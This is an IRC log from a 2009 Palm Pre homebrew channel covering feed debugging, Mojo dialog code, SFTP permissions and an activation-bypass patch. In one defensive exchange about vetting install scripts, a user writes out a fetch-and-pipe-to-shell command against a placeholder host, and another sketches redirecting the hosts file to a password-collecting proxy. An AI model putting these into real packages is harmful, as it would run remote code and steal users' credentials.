**** BEGIN LOGGING AT Tue Sep 01 02:59:57 2009 Sep 01 03:00:22 Hmm, so they compiled it and put it on the device, then left the headers out for the adapter so you can't compile it to use on the Pre? Seems intended Sep 01 03:00:56 possibly. I'm hoping it's a misunderstanding. Sep 01 03:01:24 That sort of sounds like what's going on here with me :P Sep 01 03:01:46 zsoc: what aren't you understanding? Sep 01 03:01:50 Heh so much for noone keeping the goods to themselves Sep 01 03:01:58 destinal, Huh, what do you mean? Sep 01 03:02:30 zsoc: nevermind Sep 01 03:03:10 zsoc: I must have put the wrong two replies together :) Sep 01 03:03:25 Does anyone regularly check code on the homebrew apps to make sure there's no trojan horses or worms? Sep 01 03:03:44 I have checked all my ipk's and never had one Sep 01 03:03:45 that would be rwhitby, or something like that Sep 01 03:03:53 norton check them Sep 01 03:04:02 checks* Sep 01 03:04:04 k4p741nkrunch: theoretically there can't be trojan horses or worms in the javascript -- unless you know something I don't Sep 01 03:04:06 I use AVG and Malware bytes Sep 01 03:04:08 gkatsev: not my responsibility Sep 01 03:04:20 what dest said Sep 01 03:04:26 gkatsev: but I have checked all prerm and postinst scripts Sep 01 03:04:33 rwhitby: i know, just saying seems like youve been reporting any stuff youve been finding Sep 01 03:04:33 * oil releases javascript virus Sep 01 03:04:38 destinal is correct as usual Sep 01 03:04:46 Oil you devil!!!! Sep 01 03:04:51 rwhitby, sorry to bother you. it seems all the source files have includes that aren't pointed anywhere. is the best course of action to adjust each file to point to the correct location? Sep 01 03:04:55 * Eguy writes a css virus Sep 01 03:04:57 any app starting with "com.palm" namespace can potentially do scary things though actually, like reading your email Sep 01 03:04:58 That monkey jumper app just for some reason reminds me of the smartphone worm that went out for Windows mobile touchscreens disguised as Whack-a-mole Sep 01 03:04:59 who want's html Sep 01 03:05:00 ? Sep 01 03:05:05 no Sep 01 03:05:09 html viruses arent possible Sep 01 03:05:15 Well cam Sep 01 03:05:18 lol Sep 01 03:05:19 whoops Sep 01 03:05:26 exe wrapped in html :P Sep 01 03:05:30 com.palm apps could potentially change your dns server or accept evil certificates Sep 01 03:05:30 they are if there's an exploit Sep 01 03:05:33 Eguy: on linux. Sep 01 03:05:34 No but Exploits and rogue infections are possible through html Sep 01 03:05:44 #virus { deleteallurstuff: true; } Sep 01 03:05:48 Well can't someone program background calls to their own profit collecting line? Sep 01 03:05:54 Apple = wallet exploits Sep 01 03:06:03 lulz Sep 01 03:06:18 gkatsev: latest one was ACE Installer - it installed a service that could be exploited by a rogue webos app Sep 01 03:06:20 k4p741nkrunch: the applications have no access to that information unless they use services. Sep 01 03:06:22 yea, snow leopard = service pack you were suckered into paying $30 Sep 01 03:06:28 that exploit only works if the browser implements "deleteallurstuff" Sep 01 03:06:32 hahahah Sep 01 03:06:37 it totally was a service pack Sep 01 03:06:41 zsoc: that's a normal C code compilation question, right? Sep 01 03:06:45 k4p741nkrunch: javascript outside the palm.com namespace can't just do anything any of the built-in apps can do Sep 01 03:06:53 gkatsev: service packs help, they don't break compatiblity. hehe. Sep 01 03:06:54 * gkatsev doesnt use macs Sep 01 03:07:18 (one of the mac guys I know said a variation of that and I loled) Sep 01 03:07:20 lol Temp!! Sep 01 03:07:28 rwhitby, Yes. So the answer is, google, or ask in an environment that is made to field c compilation questions. Sep 01 03:07:31 Templarian: yeah, but service packs should be free. also, i believe they no longer are supporting OS9 from snow leopard Sep 01 03:07:47 there are two service busses for javascript to service communication, one private and one public. the public bus has relatively non-dangerous functionality, the private bus can do some things a bit more sensitive (placing calls as you suggest among them) but still not root access to the device Sep 01 03:07:48 snow leopard seems to be breaking all kinds of stuff Sep 01 03:07:56 Well anything that uses postinst scripts could do something simple like wget a host file and overwrite the default, pointing every request to a proxy that gathers passwords Sep 01 03:07:59 palm.com.* apps talk on the private bus Sep 01 03:07:59 what windows sp ever included a major kernel upgrade? Sep 01 03:08:02 you can install rosetta in the installation Sep 01 03:08:06 yeah, there is a whole list on snowleopard.wikidot.com Sep 01 03:08:22 guys back onto internals stuff rule #2 and there are only 2 rules. No OS talk it don't work well. Sep 01 03:08:28 there was some stupid question on slashdot about what to use instead of photoshop on snow leopard Sep 01 03:08:29 err com.palm.* Sep 01 03:08:44 zsoc: I'm just saying it's not a question that needs to be directed to me personally, making my IRC client get my attention ... Sep 01 03:08:53 (and holding up Preware 0.8.0 as a result) Sep 01 03:09:04 Yeah zsoc way to make all of us pay Sep 01 03:09:06 :P jk Sep 01 03:09:11 rwhitby: get on it, gl Sep 01 03:09:21 I wish I could help but YOU WON'T TELL US WHAT YOU'RE COMPILING Sep 01 03:09:21 * rwhitby makes way for the pitchforks now ;-) Sep 01 03:09:25 lol Sep 01 03:09:38 I only paid $10 for snow leopard and I still feel cheated Sep 01 03:10:17 I think we need an IRC moderator Sep 01 03:10:21 k4p741nkrunch: postinst scripts could do bad things (anything) that's why some people are looking at them but more importantly it's why there's a "view" button in preware postinst installation Sep 01 03:10:40 k4p741nkrunch: anyone with voice is also a channel operator Sep 01 03:10:57 Could you obfuscate the code or put something in a sub-level non-viewed script, wget it, then run it? Sep 01 03:11:39 k4p741nkrunch: you could, but people will see those strange things and report it Sep 01 03:11:40 if the code is obfuscated, don't install it :p Sep 01 03:11:40 k4p741nkrunch: sure, but you'd see the wget -q0- http://somewhere.com/something | /bin/sh in the script Sep 01 03:11:41 Well I wouldn't trust anything obfuscated anyways Sep 01 03:11:57 * zsoc crys Sep 01 03:12:07 or well you could obfuscate those commands too but then it would look strange Sep 01 03:12:16 k4p741nkrunch: I don't trust any closed source service or plugin that is not from Palm. And I do network snooping on what their ones do too ... Sep 01 03:12:17 k4p741nkrunch, how does what I'm compiling change the answer to my question? :P Sep 01 03:12:19 * egaudet does not hand zsoc a tissue Sep 01 03:12:26 how do you pronounce "obfuscate"? Sep 01 03:12:32 i've only ever seen it written Sep 01 03:12:34 mbetter, how do you not pronounce it? Sep 01 03:12:35 nooo if this channel was moderated fiercly I would of been banned months ago Sep 01 03:12:39 zsoc because I want to know or I won't help :P Sep 01 03:12:43 It's a matter of principal Sep 01 03:12:46 ob-foose-skate Sep 01 03:12:47 OB-FUSS-KATE Sep 01 03:12:56 ooh, a disagreement Sep 01 03:13:04 ob fuss k8 Sep 01 03:13:05 nah, just the accent Sep 01 03:13:07 zsoc: what's your question? I missed it Sep 01 03:13:10 2 - 1 Sep 01 03:13:10 Ohb Fuse Skate Sep 01 03:13:10 rwhitby wins by default :P Sep 01 03:13:15 rwhitby: do you SSL MITM stuff now? :) Sep 01 03:13:22 2 - 1 - 1 Sep 01 03:13:43 dammit people just say obscure Sep 01 03:13:45 hahaha Sep 01 03:13:47 haha Sep 01 03:14:14 OB-FYU-SKATE Sep 01 03:14:26 I keep meaning to make an easy to use snooping package for the pre Sep 01 03:14:31 obfuscate has a clearly different meaning than obscure. Sep 01 03:14:31 how do you say fyu? Sep 01 03:14:32 AB-FEE-SCOTT Sep 01 03:14:35 to watch all the stuff it does Sep 01 03:14:37 I've learned some pretty good deeohbfuseskation techniques recently Sep 01 03:14:39 zsoc, configure; make Sep 01 03:14:44 virtual keyboard patch doesn't want to update. "Error updating." Sep 01 03:14:45 but i keep getting distracted by other things Sep 01 03:15:02 tlp, uninstall reinstall Sep 01 03:15:04 maybe I should just uninstall/reinstall. Sep 01 03:15:07 hah, k Sep 01 03:15:18 ipeecagee dash oh slash varrr Sep 01 03:15:27 update Sep 01 03:15:27 I believe updating is not currently working with advanced homebrews like patches Sep 01 03:15:43 ok, first person to spot the JSON parsing error in http://ipkg.preware.org/feeds/testing/Packages wins a prize Sep 01 03:15:46 it runs a postint script to remove. maybe that has something to do with it Sep 01 03:16:08 egaudet, there's no configure file D: Sep 01 03:16:34 tlp: are you using the command line? Sep 01 03:16:44 rwhitby: u have to encapsle the whole thing in { } Sep 01 03:16:46 i though Sep 01 03:16:52 rwhitby: nope, using Preware Sep 01 03:16:56 atlanta: oh, just the Sources: line Sep 01 03:17:03 sorry, Source: line Sep 01 03:17:06 rwhitby: prizes like this? http://www.youtube.com/watch?v=ccbENL1BEXQ Sep 01 03:17:38 autconf Sep 01 03:17:40 \' Sep 01 03:17:43 not need Sep 01 03:17:50 I failed Sep 01 03:17:51 rwhitby: \' Sep 01 03:17:57 you dont need that i dont believe Sep 01 03:18:07 yes, but is it illegal? Sep 01 03:18:08 Why are there 2 MD5Sums? Sep 01 03:18:21 the more md5's the better Sep 01 03:18:39 rwhitby, that's one long json Sep 01 03:18:45 cra[ Sep 01 03:18:47 crap* Sep 01 03:18:55 dreamwaver isn't spotting it Sep 01 03:19:13 I just updated the required fields wiki myself, didn't mention anything about multiple MD5's, didn't know if the information puller could parse it Sep 01 03:19:24 oh I spotted the problem Sep 01 03:19:27 the filename Sep 01 03:19:33 friendsflow Sep 01 03:19:41 4th line Sep 01 03:19:54 .0. Sep 01 03:19:59 Eguy: whats wrong with it Sep 01 03:20:03 .0. Sep 01 03:20:05 not needed Sep 01 03:20:24 Doesn't .0. break js files? Sep 01 03:20:28 the json is about the flashlight no? Sep 01 03:20:40 k4p741nkrunch: you just made me realise that there are two packages there mashed together Sep 01 03:21:00 the value of the Source: line is the only thing passed to json Sep 01 03:21:01 That's what I just said! Sep 01 03:21:52 lol how many devs does it take to see the most obvious ridiculous thing. Sep 01 03:22:01 lol Sep 01 03:22:28 nope, that's not the problem. Sep 01 03:22:43 not all of us are devs Sep 01 03:22:52 There's uh, two LastUpdateds Sep 01 03:22:52 see updated http://ipkg.preware.org/feeds/testing/Packages now Sep 01 03:22:54 we are just smart people Sep 01 03:23:04 k4p741nkrunch: field name change migration Sep 01 03:23:35 I put it in the wiki without a hyphen Sep 01 03:23:37 one is for 0.7.7, one is for 0.8.0 Sep 01 03:23:43 rwhitby gets the coockie Sep 01 03:23:47 without a hyphen is correct Sep 01 03:23:50 Nice Sep 01 03:23:58 Eguy: nope, it still fails Sep 01 03:24:00 cookie* Sep 01 03:24:14 still bad? Sep 01 03:24:22 I don't know json files so Sep 01 03:24:50 it has to be the \'s Sep 01 03:25:25 who wins Sep 01 03:25:26 ? Sep 01 03:25:36 http://webos.pastebin.com/d68222ab6 Sep 01 03:25:39 shouldn't it be that Sep 01 03:25:58 what is the newest version of webOS Sep 01 03:26:03 1.2 Sep 01 03:26:11 1.1.0 Sep 01 03:26:15 ok, I removed the contents of the FullDescription string, and it works, so the problem is definitely in the FullDescription string Sep 01 03:26:30 is 1.0.4 old? Sep 01 03:26:34 Yes Sep 01 03:26:35 that's what's on mine Sep 01 03:26:40 yes Sep 01 03:26:46 how did it not upgrade itself? Sep 01 03:26:48 Try that, that may be your issue mbetter Sep 01 03:26:57 it wont upgrade itself Sep 01 03:27:04 You have to go into the updates icon and manual do it Sep 01 03:27:08 nope Sep 01 03:27:13 it will force you to do it Sep 01 03:27:13 Ooh ooh, I think it was that barrel was spelled wrong! Sep 01 03:27:22 how? Sep 01 03:27:24 haha jk Sep 01 03:27:27 after a certain amount of time Sep 01 03:27:30 Oh all the Pre's I have seen it does not force update Sep 01 03:27:37 it will pop up and say Pre is updating.... Sep 01 03:27:46 I got a Sprint tech next to me, and say no it does not force Sep 01 03:27:48 is there a way that i can force it? Sep 01 03:27:52 BADD Flashlight may be at the bottom of the webOS barrell Sep 01 03:28:05 Clearing causing grammar overload Sep 01 03:28:10 it might be Sep 01 03:28:10

Sep 01 03:28:22 I didn't know if html was supported or now Sep 01 03:28:24 He has a demo Pre thats sporting 1.0.3, and never got one message to force update Sep 01 03:28:40 mbetter go into updates Sep 01 03:28:44 Sprint tech aren't the brightest bulbs sorry to burst your bubble Sep 01 03:28:50 it says it's going to download it over the next few days Sep 01 03:29:02 Well i'm looking at a Pre with 1.0.3 bud Sep 01 03:29:08 Never once has it prompted Sep 01 03:29:39 My guy that is a sprint tech knows his stuff Sep 01 03:30:07 Splmonster_: thats rare Sep 01 03:30:08 lol Sep 01 03:30:11 yup Sep 01 03:30:13 Define 'force'. Sep 01 03:30:13 Also Palm gives the option to revert back to old updates Sep 01 03:30:21 http://kb.palm.com/wps/portal/kb/na/pre/p100eww/sprint/solutions/article/19181_en.html Sep 01 03:30:29 it should download it automatically Sep 01 03:30:36 and then keep prompting you Sep 01 03:30:38 Hey now. Some sprint techs are good. But they are all on the 68th floor of a building in Oaklahoma. Tru story. Sep 01 03:30:39 hi all Sep 01 03:30:44 hahahhahaha Sep 01 03:30:51 Hiya Rick Sep 01 03:30:52 need some help debugging a piece of mojo. Sep 01 03:30:52 Howdy Rick Sep 01 03:30:55 What is the technical reason for not updating... lol. Sep 01 03:30:55 very very stuck. Sep 01 03:31:04 zsoc, and Olathe Park, KS :) Sep 01 03:31:07 Rick needs help? oh no Sep 01 03:31:10 Templarian, you have patches you need to remove so it doesn't break your phone? Sep 01 03:31:12 I must say the bashing is childish Sep 01 03:31:15 psykoz, i was close :P Sep 01 03:31:24 And who says they won't break functionality in the next update Sep 01 03:31:31 Splmonster_, I agree, generally speaking most webos devs feel sprint techs are fine people :) Sep 01 03:31:39 they also outsource some of their stuff to Convergys Sep 01 03:31:40 Maybe not of important apps, but the more obscure ones Sep 01 03:31:42 zsoc: oh, yea but those with patches have a week so not really a big deal. Sep 01 03:32:12 let's hear it rick Sep 01 03:32:19 http://webos.pastebin.com/db80e6f1 Sep 01 03:32:32 I ---can not____ get that freaking alert dialog to display Sep 01 03:33:03 this most recent invocation returns this: Sep 01 03:33:04 Oh. It's actually called mojo. I assumed that was an odd euphamism. Sep 01 03:33:05 2009-09-01T03:27:43.608222Z [3286] qemux86 user.err LunaSysMgr: {LunaSysMgrJS} com.boatrights.reversi: Error: TypeError: Object # has no method 'showAlertDialog', file:///var/usr/palm/applications/com.boatrights.reversi/index.html:0 Sep 01 03:33:12 rwhitby: take out all the \ in '\ Sep 01 03:33:28 zsoc: yes, it's ACTUALLY called mojo Sep 01 03:33:39 we've found the problem - it's in ipkgservice or palm's service handler somewhere - the string is being truncated Sep 01 03:33:45 oh Splmonster_: http://www.engadget.com/2009/06/15/palm-webos-system-upgrades-mandatory-hacking-scene-forbidden-fr/ Sep 01 03:33:46 so the packages file is fine Sep 01 03:34:04 I can replace the alert dialog with Mojo.Controler.errorDialog and THAT freaking displayes fine Sep 01 03:34:06 Rick on line 18 do you need that extra closing bracket? Sep 01 03:34:09 rwhitby: you can make sure the json is sanitized Sep 01 03:34:11 But AlertDialog, not so much Sep 01 03:34:14 Still find it funny i'm staring at a 1.0.3 pre Sep 01 03:34:21 atlanta: can you tell me how to do that in java? Sep 01 03:34:27 he hacked it Sep 01 03:34:33 Rick_home: ive had that problem before Sep 01 03:34:34 Oh nvm missed one Sep 01 03:34:35 dont remember how i fixed it Sep 01 03:34:37 Actually he didn't Sep 01 03:34:48 It's completely stock with only demo apps Sep 01 03:35:00 Rick, I think it is part of scene controller not Mojo controller Sep 01 03:35:10 the closing brace on 18, closes the try the closing brace on 17 closes the if. Sep 01 03:35:27 I wonder if it is activated Sep 01 03:35:33 Yup it is Sep 01 03:35:38 egaudet: Mojo.Controller.showAlertDialog Sep 01 03:35:40 Overview Sep 01 03:35:42 To display a short message to the user, Sep 01 03:35:44 oh well Sep 01 03:35:47 to hell with it Sep 01 03:35:51 * Eguy goes back to work Sep 01 03:36:03 Not to mention I waited like a week before installing 1.1.0 Sep 01 03:36:14 Never once got prompted to do it mandatory Sep 01 03:36:25 It just prompted it was available Sep 01 03:36:34 oh lala let me see Sep 01 03:36:50 Splmonster_: there have been no mandatory upgrades yet. But palm has acknowledged that they have the ABILITY to do so. Sep 01 03:37:04 I don't see that in the framework rick Sep 01 03:37:07 Yes they do have the ability, but so far since release it has not happened Sep 01 03:37:13 nodnod Sep 01 03:37:25 egaudet: well crap. once again, the docs lie Sep 01 03:37:28 ok, Sep 01 03:37:38 yes, which is why I stopped going to the docs on go right to the source :( Sep 01 03:37:46 so, your reccomendation about how to get the alert dialog to display? Sep 01 03:37:59 I've done it with scene controller calling showAlertDialog Sep 01 03:38:06 note that this is in a UTILITY js not in the scene's js Sep 01 03:38:09 with an onChoose: function(){} Sep 01 03:38:16 can you use this.controller.showAlertDialog Sep 01 03:38:17 rwhitby: u have msn Sep 01 03:38:17 ? Sep 01 03:38:36 nope Sep 01 03:38:37 this.controller.showAlertDialog says that this has no method showAlertDialog Sep 01 03:38:41 atlanta: why? Sep 01 03:39:04 I've seen that used before so there must be something missing Sep 01 03:39:12 yes Sep 01 03:39:15 Whatever utility js it is in, can you capture the scene controller? Sep 01 03:39:15 I have used it. Sep 01 03:39:17 rwhitby: hard reading and helping here with all the talk Sep 01 03:39:26 egaudet: suggestion? Sep 01 03:39:29 atlanta: just use /msg on IRC Sep 01 03:39:32 just use /msg atlanta Sep 01 03:39:48 atlanta -- go to a private chat In most IRC clients just double click someone's name Sep 01 03:39:49 oh lalala i forgot Sep 01 03:39:50 lolo Sep 01 03:39:50 well you have to get outside of the scene assistant somehow, so you have a way back right? Sep 01 03:40:02 "String[] item = line.split(": ");" is the bug Sep 01 03:40:17 egaudet: in sources, I mention othello.js Sep 01 03:40:31 in the scene controller, I call play() which is a function in othello.js Sep 01 03:40:41 that starts the game. Sep 01 03:40:59 can you bind this to play, and then use this.controller.showAlertDialog Sep 01 03:41:23 err if you call play from the scene, this.controller.showAlertDialog should have been fine Sep 01 03:41:28 What about this.Controller.stageController.pushScene Sep 01 03:41:44 or perhaps more importantly, can I bind gameover? Sep 01 03:42:10 hmmmm Sep 01 03:42:34 who calls GameOver, what is this in that context Sep 01 03:44:00 egaudet: there is no active js until a person clicks on a cell. Clicking on a cell calls move(x,y) which calls the move evaluation routine, flips pieces, calls the AI to move, checks to see if there ar eany moves left, and if not, calls gameover() So, there _is_ no executing JS context until someone CLICKS on a square. Sep 01 03:44:26 i.e., there is no "this" Sep 01 03:44:49 that's my problem..... Sep 01 03:45:00 well someone clicking on the square is calling your event handler right? Sep 01 03:45:20 yep Sep 01 03:45:52 I assume you are setting it up the handlers in scene assistant, you could bind the handlers then Sep 01 03:46:05 nope Sep 01 03:46:39 the setup happens in a routive that initalizes the board, and the div has an onclick set on it. which explicitely calls move(x,y) Sep 01 03:47:27 so you aren't using the mojo for this Sep 01 03:47:30 I suppose I -could- set 64 event handlers and use mojo.tap to capture them..... Sep 01 03:47:41 but I'm not. This was a port, and the board code _worked_ Sep 01 03:47:47 set one event handler, and decide based on event.target Sep 01 03:47:47 so I didn't screw with it Sep 01 03:48:06 ohhlala gotta finish up on some CCNA work brb Sep 01 03:48:08 4 Sep 01 03:48:31 Do you have to specify namespace to use Mojo.Controller Sep 01 03:48:36 How did you port it to mojo, you still needed to push a scene right? Sep 01 03:48:47 .showAlertDialog anyways Sep 01 03:51:34 yep Sep 01 03:51:55 egaudet: I push a scene, I set up the board, I do all the globals, and call play. Sep 01 03:52:56 isn't there a getActiveStageController? Sep 01 03:53:00 yes Sep 01 03:53:07 could I call that? Sep 01 03:54:34 Anybody got a minute to help me out with an issue on the instructions here?: http://www.webos-internals.org/wiki/Patch_webOS_Bypassing_Activation Sep 01 03:54:42 Much appreciated! Sep 01 03:55:20 minute egaudet I'm going to try that. Sep 01 03:55:26 Mojo.Controller.appController.stageController. Sep 01 03:56:18 then topScene() or something? Sep 01 03:56:26 Whats the issue supaspoida Sep 01 03:57:04 I'm up to step 7, trying to apply the second patch but I get this error: Sep 01 03:57:07 patch: **** unexpected end of file in patch at line 10 Sep 01 03:57:34 What version of webosdoctor are you using Sep 01 03:57:42 After 1.0.2 the lines changed Sep 01 03:58:17 ok, the feeds have now been updated to include Screenshots and FullDescription Sep 01 03:58:17 I downloaded directly from the link on that page, can I check the specific version somehow? Sep 01 03:59:00 Everyone please test now with Preware 0.7.7 for me. The new fields will not appear (that's in 0.8.0) but we have to test it does not break 0.7.7 Sep 01 03:59:09 You can manually edit the files Sep 01 03:59:15 You just have to add in the md5 sums Sep 01 03:59:22 this is the code I tried: thatcontroller = Mojo.Controller.AppController.getActiveStageController() Sep 01 03:59:24 thatcontroller.showAlertDialog({ Sep 01 03:59:50 this is the response.. Sep 01 03:59:52 2009-09-01T03:58:26.527295Z [5129] qemux86 user.err LunaSysMgr: {LunaSysMgrJS} com.boatrights.reversi: Error: TypeError: Object function anonymous() { { this.initialize.apply(this, arguments);} } has no method 'getActiveStageController', file:///var/usr/palm/applications/com.boatrights.reversi/index.html:0 Sep 01 04:00:42 b0rked Sep 01 04:00:51 Mojo.Controller.appController.stageController.topScene().showAlertDialog Sep 01 04:01:16 reverting. Sep 01 04:01:32 Preware won't load. Sep 01 04:01:34 oil got the logs, so we can continue debugging :-) Sep 01 04:02:20 feed is reverted - restart Preware. Sep 01 04:02:25 Yeah stuck loading for me Sep 01 04:02:41 Fixed now. Sep 01 04:02:58 fixed indeed, like magic Sep 01 04:03:10 egaudet: 2009-09-01T04:02:35.653719Z [5378] qemux86 user.err LunaSysMgr: {LunaSysMgrJS} com.boatrights.reversi: Error: TypeError: Cannot call method 'topScene' of undefined, file:///var/usr/palm/applications/com.boatrights.reversi/index.html:0 Sep 01 04:03:29 I suspect rwhitby keeps a handy supply of virgins to sacrifice, zsoc. Appeasing the Code Gods and all that. Sep 01 04:03:42 I wish he would loan me one. Sep 01 04:03:46 lol Sep 01 04:04:10 supasoida just nano the particular files needed to patch Sep 01 04:04:12 I'm all out. I married off my only daughter on Saterday Sep 01 04:04:12 or vi Sep 01 04:04:19 new to diff/patch, so just insert those lines around 389? Sep 01 04:04:30 vi FTW Sep 01 04:04:36 nano ftw Sep 01 04:04:39 Rick_home, can you log/output one part at a time to verify where the chain stops. Mojo.Controller.getAppController().getStageController() Sep 01 04:04:42 vim FTW Sep 01 04:04:54 of course. Sep 01 04:04:55 vim sounds like an STD Sep 01 04:05:14 k4p741nkrunch: no, thats VD Sep 01 04:05:16 it is Sep 01 04:05:17 haha, not even gonna say what I'm editing with.. Sep 01 04:05:24 notepad Sep 01 04:05:24 God I love programming! The smell of burning brains. The crash of glassware as it hits the wall. Sep 01 04:05:25 :P Sep 01 04:05:26 once you catch it, you'll never get rid of it Sep 01 04:05:36 lol Sep 01 04:05:39 k4p: It's not? Sep 01 04:06:05 freakout vim is an std to your kernel, don't install Sep 01 04:06:25 * freakout nods sagely. Sep 01 04:06:25 It came with a trojan, but it broke.. now you're infected Sep 01 04:07:14 supasoida just vi /usr/palm/applications/com.palm.app.firstuse/app/controllers/firstuse-util.js Sep 01 04:07:24 then search for 95a96 Sep 01 04:07:37 Yo dawg, I heard you like how babby is formed, so I accidentally in your base. Sep 01 04:07:51 Just a quick question.. how would I change the file permissions on /media/internal/ to allow me to transfer files directly to it as a lesser user? Sep 01 04:07:57 not sure what 95a96 means, just looking for that string? Sep 01 04:07:59 Dood that's a memeorgy Sep 01 04:08:09 Yeah just search for it Sep 01 04:08:15 k4p741nkrunch, memegasm, actually. Sep 01 04:08:16 also slightly modified from xkcd Sep 01 04:08:20 :P Sep 01 04:08:37 destinal, slightly modified because i have no ability to recall it accurately Sep 01 04:08:40 I don't think that was changed in the patch, I don't know though Sep 01 04:09:24 http://xkcd.com/550/ Sep 01 04:09:25 Anyone? :) Sep 01 04:10:19 The first patch applied cleanly, and looking for 389a390 doesn't bring up any results. Sep 01 04:10:26 destinal: I've traveled here from the year 1984 to say this: Sep 01 04:10:30 ROFLCOPTER Sep 01 04:11:06 :) Sep 01 04:11:13 Cannot call method 'topScene' of undefined, file:///var/usr/palm/applications/com.boatrights.reversi/index.html:0 Sep 01 04:11:42 I just put the code in at line 388, it seems to fit Sep 01 04:12:03 Snake: I have no idea, because I am an idiot. (This is not helpful I know, but I didn't want to leave you hanging out there.) Sep 01 04:12:42 Snake: all users have righths to /media/internal Sep 01 04:12:45 that's why it's there Sep 01 04:12:55 supasoida so for firstuse-util.js Sep 01 04:12:55 it's supposed to be at line 95 Sep 01 04:13:09 GAZZA RIGGA FRIGGA SNAGGA FRICKING STUPID FREAKING ALERT DIALOG Sep 01 04:13:12 I don't know what is supposed to be there Sep 01 04:13:19 lol Sep 01 04:13:21 I'm trying to find it though Sep 01 04:13:37 Rick, did Mojo.Controller.getAppController() return ok? Sep 01 04:13:44 no error. Sep 01 04:13:55 Rick_home: Strang.. winscp wont let me transfer fiels over to it Sep 01 04:14:37 I get a permission denied error Sep 01 04:14:48 zsoc: (to go further off topic) -- somehow I totally missed http://www.howisbabbyformed.com/ until today Sep 01 04:14:51 chmod then? Sep 01 04:14:51 I accidentally put getStageController() rather than getActiveStageController() Sep 01 04:14:57 Snake did you visudo? Sep 01 04:14:58 did you accidentally listen to me? Sep 01 04:15:19 k4p741nkrunch: I seem to have, yes, its listed in there Sep 01 04:15:22 destinal, i always thought that was the first thing that got shoved in your face when you're introduced to the internet Sep 01 04:15:37 zsoc: uh, it wasn't around in 1993 Sep 01 04:15:44 destinal, Also. I have a source file with no config. is this bad? (y/n) Sep 01 04:15:48 Hmm your nopasswd line was already in there too, seen that twice now Sep 01 04:15:59 I duno about everyone else but I had to put that in for mine Sep 01 04:16:21 should I re-add it?? Sep 01 04:16:26 zsoc: a source file with no config? Sep 01 04:16:39 ooh ooh Mojo.Controller.errorDialog() Sep 01 04:17:27 errr, it's a pain to debug multithreaded program Sep 01 04:17:33 egaudet: that works fine Sep 01 04:17:37 I can do that all day long Sep 01 04:17:44 but it is a freaking ERROR dialog Sep 01 04:17:48 and it says "ERROR" at the to Sep 01 04:17:58 which is NOT a good way to tell someone they won a game Sep 01 04:18:12 hehe, "ERROR: you win, you fail, goodbye" Sep 01 04:18:16 but it DOES display Sep 01 04:18:30 which is what pisses me off that Mojo.Controller.showAlertDialog does not Sep 01 04:18:33 anyone here? Sep 01 04:18:37 Rick_home, that is good beacuse errorDialog CALLS showAlertDialog Sep 01 04:18:40 since they're documented ON THE SAME PAGE. Sep 01 04:18:46 Everyone please test again now with Preware 0.7.7 for me. Sep 01 04:18:49 Snake you set your sftp line under environment to /opt/libexec/sftp-server right Sep 01 04:18:58 egaudet: how does IT call it? Sep 01 04:19:04 so I'm putting it together now and I get... Sep 01 04:19:14 in the WebOS Internals Feed Applications, what is Accelerometer? Sep 01 04:19:18 what happens if I install it? Sep 01 04:19:20 rwhitby: Success Sep 01 04:19:32 Loaded Sep 01 04:19:42 ICF|Rob: it's a service to let you set the refresh rate of the accelerometer to something other than 4 Hz. Sep 01 04:19:47 window.Mojo.Controller.stageController.topScene().showAlertDialog() Sep 01 04:19:59 ok, so now we have feeds that will work with both 0.7.7 and 0.8.0 Sep 01 04:20:00 No screenshots or descriptions Sep 01 04:20:02 is there a link to an FAW of it? Sep 01 04:20:08 FAQ* Sep 01 04:20:15 dont' want to brick it Sep 01 04:20:21 k4p741nkrunch: they're in the feed, but 0.7.7 can't display them Sep 01 04:20:23 window. ??!?!?!? Freaking Fruck monging blasted ugga rumping..... Sep 01 04:20:25 like what advanteges would I get out of it Sep 01 04:20:25 k4p741nkrunch: correct I did Sep 01 04:20:27 ok I'll go try that. Sep 01 04:20:37 Alrighty Sep 01 04:20:53 snake does it prompt you for a password Sep 01 04:21:00 yeah when I first log on it does Sep 01 04:21:06 Ohh! hmmm.. Sep 01 04:21:15 window assuming you weren't passing a 2nd argument to errorDialog() Sep 01 04:21:17 k4p741nkrunch: I'm using dropbear. would that cause this? Sep 01 04:21:31 no I most certainly was not] Sep 01 04:21:33 Nope I use dropbear Sep 01 04:21:36 kk Sep 01 04:21:42 yeah it prompts me for a password though Sep 01 04:21:43 Did you reboot your phone after installing sftp? Sep 01 04:21:58 ive rebooted my phone several times since then,I installed this a long time ago Sep 01 04:22:05 Night everyone Sep 01 04:22:12 and finally just got fed up with having to transfer to /var/snake and then cp over to /internal/media Sep 01 04:22:22 BINGO !!!!!!!! Sep 01 04:22:29 /var/home/snake* rather Sep 01 04:22:32 well.... THAT is certainly well documented. Sep 01 04:22:34 I used to have problems with WinSCP but then I simply went to my ssh and typed sudo /opt/libexec/sftp-server manually and I could log in Sep 01 04:22:38 Jeeezzzzz Sep 01 04:22:41 After I did it once it worked for good Sep 01 04:22:42 3 days I tried that. Sep 01 04:22:50 You found it reading Framwork didn't you? Sep 01 04:23:00 yep Sep 01 04:23:00 I guess I gotta do that. :-( Sep 01 04:23:13 k4p741nkrunch: uhmmm typed that.. pre stopped responding now Sep 01 04:23:13 haha Sep 01 04:23:24 * Snake gives it a minute Sep 01 04:23:24 :D, I quit reading their documentation when none of their lies worked! Sep 01 04:23:47 It will stop responding in ssh Sep 01 04:23:48 framework reads like it was written by Polish system designers passing notes in Esperanto to French Programmers implementing Italian design specs. Sep 01 04:23:50 It's running the server Sep 01 04:23:55 Does the phone respond? Sep 01 04:24:08 yeah the phone responds Sep 01 04:24:19 Okay so try to Login through WinSCP Sep 01 04:24:21 what's really annoying is, that error dialog works fine. and alert doesn't. Sep 01 04:24:27 that's just freaking wrong Sep 01 04:24:40 k4p741nkrunch: ive been able to log in, it just simply tells me that I dont have permission to write to /media/internal Sep 01 04:24:41 you need alert way MORE THAN errroor Sep 01 04:25:03 Ohh well then try mounting with rw access Sep 01 04:25:12 it is Sep 01 04:25:13 :-/ Sep 01 04:25:16 I didn't know that was your problem, thought it was permission denied on login Sep 01 04:25:27 yah no, sorry Sep 01 04:25:32 you went to ssh and typed mount -o remount,rw / Sep 01 04:25:33 should have explained that :) Sep 01 04:25:49 yeah I have Putty opened and winscp Sep 01 04:25:51 both connected Sep 01 04:25:55 You connecting through wifi or USB Sep 01 04:26:04 wifi Sep 01 04:26:53 yeah, someone is going to have to walk me through getting MyTether to work Sep 01 04:27:11 k4p741nkrunch: even when I try to force a chmod 777 to the directory, it wont obey :( Sep 01 04:27:12 without rooting it. I heard there was an exe somewhere that does all that Sep 01 04:27:14 it doesnt change Sep 01 04:27:56 so when logged in as root in putty if you visudo you see *youruser* 